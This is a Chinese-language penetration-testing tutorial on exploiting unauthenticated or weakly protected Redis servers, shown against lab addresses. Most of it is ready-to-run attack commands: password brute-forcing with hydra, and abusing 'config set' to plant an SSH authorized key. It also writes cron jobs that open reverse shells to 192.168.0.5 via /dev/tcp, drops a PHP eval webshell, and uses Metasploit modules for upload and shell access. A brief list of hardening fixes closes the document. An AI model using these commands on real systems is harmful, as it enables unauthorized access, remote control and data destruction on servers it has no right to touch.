0x00 Redis

Redis (REmote DIctionary Server) 是一个使用ANSI C语言编写的开源数据库,通常被称为数据结构服务器,从内存中读取数据,因此性能优越,和MongoDB一样,是目前使用十分广泛的NoSQL(Not Only SQL,非关系型数据库)。

Redis安装完成后,默认不开启用户认证。当配置不当时,造成未授权访问,进行敏感操作,获取权限等。

结合ssrf,探测限制内网访问的redis服务,进一步getshell

0x01 未授权访问

1、不存在密码,直接访问

1
redis-cli -h 192.168.0.4

1.png

2、存在密码,爆破

配置文件redis.conf中reauirepass提供了一个轻量级的认证,但可以快速爆破。

存在密码:
2.png

hydra爆破:

1
hydra -P password.txt redis://192.168.0.4

3.png

输入密码连接

4.png

查看Redis版本、系统相关信息

1
info

5.png

删除整个数据库

1
flushall

0x02 获取权限

通过Redis的config命令,设置数据库中待插入的内容,再修改数据库的默认路径和缓冲文件,实现在目标系统的指定路径写文件的操作,获取权限。或者利用msf的相应模块,实现密码爆破、文件上传、获取shell。

1、ssh公钥连接

在/root/.ssh/authorized_keys中写入公钥,即可使用公钥进行ssh登录。

使用条件:Redis以root权限运行,ssh允许秘钥登录

本地生成一对秘钥:

1
ssh-keygen -t rsa

生成的私钥和公钥路径

6.png

1
cat /root/.ssh/id_rsa.pub

7.png

1
2
3
4
config set dir /root/.ssh/       //选择写入文件的路径
config set dbfilename authorized_keys //选择写入的文件名
set a "\n 公钥内容 \n" //写入内容
save //保存

8.png

目标机器公钥文件写入成功

9.png

利用私钥登录

1
ssh -i /root/.ssh/id_rsa 192.168.0.4

10.png

2、反弹shell

利用Linux Crontab定时任务。/var/spool/cron/crontabs/路径下不同的文件名代表着不同用户的定时任务,因此可以向root文件中写入命令,获取反弹shell。

条件:Redis以root权限运行

开启监听

1
nc -lvp 1111

11.png

1
2
3
4
config set dir /var/spool/cron/crontabs/    //选择写入的路径
config set dbfilename root //选择写入的文件名
set a "\n * * * * * bash -i >& /dev/tcp/192.168.0.5/1111 0>&1\n" //写入的内容:每分钟产生一个交互shell并发送给监听端
save //保存

12.png

CentOS可直接反弹shell,Ubuntu和Kali并不能反弹成功,是由于crontab计划文件执行命令的shell环境是/bin/sh,在Ubuntu中/bin/sh是一个软连接,指向的是dash,而dash只能执行命令,不能交互。因此可以尝试将反弹shell的sh脚本写入计划任务中获取反弹shell。

shell.sh:

1
2
#! /bin/bash
/bin/bash -i >& /dev/tcp/192.168.0.5/7777 0>&1
1
2
3
4
set x "#\n\n#! /bin/bash\n/bin/bash -i >& /dev/tcp/192.168.0.5/7777 0>&1\n\n#"
config set dir /tmp/
config set dbfilename shell.sh
save

17.png

1
2
3
4
set x "\n\n* * * * * /tmp/shell.sh\n\n#"
config set dir /var/spool/cron/crontabs/
config set dbfilename root
save

18.png

3、写入shell

当redis对web路径具有写权限时,可以写入一个webshell文件。

1
2
3
4
set a "<?php @eval($_REQUEST['pass'])?>"
config set dir /var/www/html/
config set dbfilename webshell.php
save

13.png

4、利用msf爆破密码、上传文件、反弹shell

利用msf可以更加方便的完成上述操作

1
2
msfconsole
search redis

auxiliary/scanner/redis/file_upload(文件上传模块)
auxiliary/scanner/redis/redis_login (爆破密码模块)
auxiliary/scanner/redis/redis_server(验证密码模块)
exploit/linux/redis/redis_unauth_exec(获取shell模块)

1、爆破密码

1
2
3
use auxiliary/scanner/redis/redis_login
set rhosts 192.168.0.4
run

14.png

2、上传文件

1
2
3
4
5
6
7
echo "<?php @eval($_REQUEST['pass'])?>" > webshell.php
use auxiliary/scanner/redis/file_upload
set rhosts 192.168.0.4
set password password
set localfile webshell.php //选择待上传的文件
set remotefile /var/www/html/webshell.php //指定生成的目标文件
run

15.png

16.png

3、获取shell

1
2
3
4
5
6
7
8
use exploit/linux/redis/redis_unauth_exec
set password password //目标Redis的密码
set rhosts 192.168.0.4 //目标地址
set srvhost 192.168.0.5 //监听地址
set srvport 4444 //监听端口
set lhost 192.168.0.5 //设置Payload的目标地址
set lport 1234 //设置Payload的目标端口
run

0x03 修复措施

1、设置Redis强口令

2、使用白名单限制,或禁止公网访问

3、修改默认端口

4、authroizer_keys文件权限设置为拥有者只读,避免其他用户添加

5、以低权限运行Redis

6、禁止远程使用危险命令如flushall、config、eval,或修改命令的名称